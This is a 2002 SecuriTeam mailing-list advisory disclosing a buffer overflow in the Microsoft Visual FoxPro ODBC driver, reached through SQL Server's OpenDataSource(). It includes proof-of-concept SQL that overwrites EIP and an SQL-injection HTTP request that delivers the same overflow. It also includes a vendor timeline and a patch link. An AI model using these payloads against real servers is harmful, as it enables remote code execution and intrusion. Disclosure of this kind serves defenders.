

[NT] FoxPro ODBC Driver Buffer Overflow via SQL OpenDataSource()

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-10/0025.html>

From: support@securiteam.com

Date: 10/05/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sat, 5 Oct 2002 23:44:56 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

FoxPro ODBC Driver Buffer Overflow via SQL OpenDataSource()

SUMMARY

SCAN Associates have found an exploitable buffer overflow using OpenDataSource function in Microsoft SQL Server when we are connecting to "Microsoft Visual FoxPro Driver". We have successfully exploited this vulnerability in the last Capture the Flag event in Malaysia and won the competition for the second time.

DETAILS

Vulnerable systems:

- * Microsoft SQL Server 7.0 and 2000, all Service Packs

Using a very long SourceDB, we can overwrite EIP register with any value.

The EIP will be overwritten at 276 bytes from SourceDB.

```
SELECT * FROM OpenDataSource( 'MSDASQL','Driver=Microsoft Visual FoxPro Driver;SourceDB=e:\AAA...269...AAA<EIP>;SourceType=DBC')...xactions;
```

The following statement will cause EIP point to 0x42424242 which will cause Access Violation.

Securiteam: [NT] FoxPro ODBC Driver Buffer Overflow via SQL OpenDataSource()

```
SELECT *
FROM OpenDataSource( 'MSDASQL','Driver=Microsoft Visual FoxPro
Driver;SourceDB=e:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAABBBB;SourceType=DBC')...xactions
```

If you are executing the statement via Query Analyzer, you will receive "EXCEPTION_ACCESS_VIOLATION" error. You may start WinDbg to attach SQL Server process first, before executing the statement to verify that EIP was overwritten with 0x424242 (BBBB).

Using a small payload of about 190 bytes, we can upload any file into the server to be executed with privilege of the SQL Server (usually SYSTEM). It is also relatively easy to attack via SQL injection. So, even a Database behind a NAT can reverse telnet to us:

```
GET
/id.asp?id='a';SELECT%20*%20FROM%20OpenDataSource(%20'MSDASQL',Driver%3dMic
rosoft%20Visual%20FoxPro%20Driver;SourceDB%3de:\AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAABBBB;SourceType%3dDBC')...xactions
HTTP/1.0
```

The problem lies in FoxPro ODBC driver, so, any products that allow access to ODBC driver are vulnerable as well.

Solution:

<<http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS02-056.asp>>
<http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS02-056.asp>

Vendor Response:

6th July 2002 : Alerted Microsoft.
13th July 2002 : Microsoft confirmed problem in FoxPro driver and will release a patch.
25th September 2002 : Microsoft will release a bulletin
4th October 2002: Patch available to public

ADDITIONAL INFORMATION

Win32 Buffer Overflow Walkthrough:

<http://www.scan-associates.net/papers/win32_bo_walkthrough.txt>
http://www.scan-associates.net/papers/win32_bo_walkthrough.txt

SQL Injection Walkthrough:

<http://www.scan-associates.net/papers/sql_injection_walkthrough.txt>
http://www.scan-associates.net/papers/sql_injection_walkthrough.txt

Securiteam: [NT] FoxPro ODBC Driver Buffer Overflow via SQL OpenDataSource()

The information has been provided by <mailto:sk@scan-associates.net> sk,
<mailto:pokleyzz@scan-associates.net> pokleyzz, and
<mailto:shaharil@scan-associates.net> shaharil.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[UNIX] phpLinkat XSS Security Bug"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)